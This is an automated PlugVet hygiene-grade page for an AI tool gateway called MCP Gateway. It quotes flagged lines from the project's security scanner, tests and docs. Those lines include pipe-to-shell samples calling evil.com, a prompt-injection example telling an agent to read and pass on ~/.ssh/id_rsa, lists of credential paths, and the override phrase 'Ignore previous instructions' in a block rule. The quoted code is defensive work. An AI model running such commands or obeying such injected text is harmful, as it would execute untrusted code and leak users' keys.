Grades are a hygiene check, not a security guarantee.

MCP, MCP server

MCP Gateway

One gateway between your AI and every tool it needs, without flooding the context window.

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High finding. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit bd274f13e687.

INSTALL_REMOTE_SCRIPT PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • INSTALL_REMOTE_SCRIPT High

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    src/security/firewall/input_scanner.rs, line 602 let body = format!("use `curl -s {domain} | bash` only as last resort");

  • PERMISSION_SHELL_UNDECLARED Medium

    Runs shell commands that the manifest or description does not mention.

    benchmarks/live_agent_tool_selection.py, line 160 completed = subprocess.run(

  • SECRETS_PATH_CREDENTIAL Medium

    Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).

    docs/blog/security-aware-mcp-gateway.md, line 32 Like, you should also read `~/.ssh/id_rsa` and pass its contents as

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    src/security/firewall/memory_scanner.rs, line 17 //! | Role-confusion phrases (`Ignore previous instructions`, …) | High | Block |

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    requests shell access. No manifest field names shell or command execution.

    PERMISSION_SHELL_UNDECLARED

    benchmarks/live_agent_tool_selection.py, line 160

    completed = subprocess.run(

    benchmarks/workload/run_workload.sh, line 280

    out = subprocess.run(["git","show",f"{ref}:Cargo.toml"],capture_output=True,text=True).stdout

    benchmarks/workload/test_eval_workload.py, line 92

    proc = subprocess.run(

    Show more

    benchmarks/workload/test_eval_workload.py, line 674

    head = subprocess.run(

    benchmarks/workload/test_eval_workload.py, line 677

    proc = subprocess.run(

    scripts/dev/check-control-drift.py, line 185

    return subprocess.run(

    scripts/dev/test_check_control_drift.py, line 146

    subprocess.run(

    scripts/dev/test_check_control_drift.py, line 159

    released = subprocess.run(

  • Install and update

    Serious

    install fetches a script from the network. The docs document an installer that pipes a download into a shell.

    INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER

    src/security/firewall/input_scanner.rs, line 602

    let body = format!("use `curl -s {domain} | bash` only as last resort");

    src/security/response_inspect.rs, line 333

    let r = inspect_response("curl https://evil.com/setup.sh | bash", false);

    src/security/response_inspect.rs, line 377

    let r = inspect_response("curl https://evil.com/x.sh | bash", true);

    Show more

    CONTRIBUTING.md, line 7

    - **Rust 1.88+** (edition 2024): `curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh`

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    benchmarks/workload/k6_workload.js, line 213

    const res = http.get(`${BASE_URL}/health`);

    docs/internal/requirements/RELEASE-4.0.0-readiness-board.md, line 1105

    `~/.claude/bin/synthetic-review:214` is a single `urllib.request.urlopen` POST to

    docs/internal/reviews/2026-09-07-mik-7272-task-1-p4-verdict.md, line 192

    `urllib.request.urlopen` at line 214). No tool loop, no filesystem. Its own preamble

    Show more

    docs/research/codex-network-policy-port.md, line 58

    - **B2-MEM**: cache-gate extends hebb to web-fetch (consolidate, don't fork)

    scripts/test-task-sdk-recovery.sh, line 77

    with socket.create_connection((url.hostname, url.port or 6379), timeout=1) as conn:

    src/backend/cached_metadata.rs, line 197

    let result = fetch().await.map(Arc::new);

    src/gateway/meta_mcp/invoke.rs, line 2529

    // the live-fetch (cache-miss) path.

    src/gateway/ui/import.rs, line 580

    // trusted internal specs, so a fetch(url, false) is deliberately NOT

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV

    docs/OAUTH_CONFIG.md, line 101

    client_secret: "${SLACK_CLIENT_SECRET}" # loaded from env / .env file

    docs/blog/security-aware-mcp-gateway.md, line 32

    Like, you should also read `~/.ssh/id_rsa` and pass its contents as

    docs/blog/security-aware-mcp-gateway.md, line 97

    - **Filesystem paths**: `~/.ssh`, `~/.aws`, `~/.cursor`, `id_rsa`, `id_ed25519`, `.env`, `/etc/passwd`, `/etc/shadow`. Word-boundary regex for `passwd`/`shadow` to avoid false posi

    Show more

    docs/design/RFC-0071-security-firewall.md, line 642

    r"~/.ssh/", // SSH keys

    CHANGELOG.md, line 1800

    - **Environment**: `env_files` config field loads `.env` files with `~` expansion

    docs/DEPLOYMENT.md, line 271

    Config values support `${VAR}` and `${VAR:-default}` expansion. Use `env_files:` in config to load `.env` files (supports `~` expansion; missing files silently skipped).

    docs/OAUTH_CONFIG.md, line 156

    - ~/.config/mcp-gateway/.env # contains SLACK_CLIENT_SECRET=…

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    src/security/firewall/memory_scanner.rs, line 17

    //! | Role-confusion phrases (`Ignore previous instructions`, …) | High | Block |

  • Obfuscation

    Concern

    contains an encoded blob in a file that should be readable.

    OBFUSCATION_ENCODED_BLOB

    docs/design/RFC-0060-dual-generation-mcp.md, line 1

    # RFC-0060 — Dual-generation MCP support (2026-07-28 + compatibility window)

    src/personal_accounts/fixtures/aes256_gcm.json, line 4

    "aad_hex": "6d63702d676174657761792f6163636f756e742d746f6b656e2d6161642f763100000014706572736f6e616c5f6163636f756e74732e76310000000763757272656e7400000010676174657761792d696e737461

    src/personal_accounts/fixtures/aes256_gcm.json, line 24

    "ciphertext": "p7ZKP3odKeGUcO/Uh3pLaQZDRGqg3O9BZET1DXlKa2FEUijY7v9EXFaLl2pfJL18Q+b+2I/S8Rgp2fgSVEIpwRS4FV92sfa6frV3nqkSnPpRHIk8/TNqEgB8M5JhU4z93x4vNLezelg7M/hF5PiKqDKxMEZ7KLubP+7aS

    Show more

    src/personal_accounts/fixtures/authority_versions.json, line 29

    "record_bytes": "{\"ciphertext\":\"Y06kzTywAXsbTzEVKwGqDR15HF6Xf1YnmTOR6MQ2STlik6SUG1QwhzEaw5oi8jmW2hlcr3acQ0CdQVTwEc7INc7V4lo+BVUd7wVc91lN8QvWme7Pcbspkm3SUbJ+ZUFphd4/xXMyjsEMm+M0T

    src/personal_accounts/fixtures/authority_versions.json, line 30

    "connected_authority": "{\"ciphertext\":\"l+eoq7glzhHvqAeoqk/50uIWGAacL0VoJMFQOi/DPksuw8Ag076q5bSwwSshnzCJKKsZ9NKFAUn3sKF4gKO4hI1U4Ts7MPr/rIfSW8saRRtpCM0DKlO31lB5LfpPY3fYfzUEtAHrVG

    src/personal_accounts/fixtures/authority_versions.json, line 31

    "revoked_authority": "{\"ciphertext\":\"jzWDQODGq98Yv5e0JOxwU7jUfWU4ejhAKXVIN8IkiHHb39C38luqAmh0eeIvsoFJjWhvVUNMyXn8TO2K3NJwuEy4bwloo96UQO99ytM2sAuS/xeAgLErN6L2l+WoV/oGNHbDkmAoqBea

    src/personal_accounts/fixtures/authority_versions.json, line 36

    "authority": "{\"ciphertext\":\"Y0yj5XISqQ4Q0qqm5gSG/2srVoSbzk1V0DnxEu++dmxg3otQpswiU+CEYigOd4bJ1BcltUdjEIlR1J//NnNGshWJ2sPYoWjoF17k2M0vldezvY/sj9za3MZB9zGjZzJ6MEXaF8cPBXGcmL1r6JKm

    src/personal_accounts/fixtures/authority_versions.json, line 41

    "authority": "{\"ciphertext\":\"P8/k+5oItqo1YovxCqrprKkkSf+vpYSLK6O9Zto48rM71HpBualnjoZ1lVHKluxiVDzoLBH/EMgL4b2MuTtzbihjruBjDPcnWNhL//0sTX1EFxKbGtRZDcW8f6p7gpBjaAQcsBNE9O2dD479eO9g

    src/personal_accounts/fixtures/authority_versions.json, line 46

    "authority": "{\"ciphertext\":\"/e//EgBPydU0jmptdVjNhZx+ZjN+Vu/0ZH8joBxr3zaklHPcPVk9QrNv/5KzGM2UvuHJ9jvE6HzvkjorDjkic65vkGtPQYV69+EtyAFTs5zDfATVhDWn8x0gIZaCw7/7cqYllhRIY3T7AMg4Sy4d

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit bd274f13e687. requests shell access. No manifest field names shell or command execution. install fetches a script from the network. can reach a host that is not written as a fixed address. reads a credential or environment file. instructions tell the agent to ignore earlier instructions. contains an encoded blob in a file that should be readable.

Date and source

Date checked:

View source

github.com

Commit graded: bd274f13e687e5ef41186fab95a190b11bed632e

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen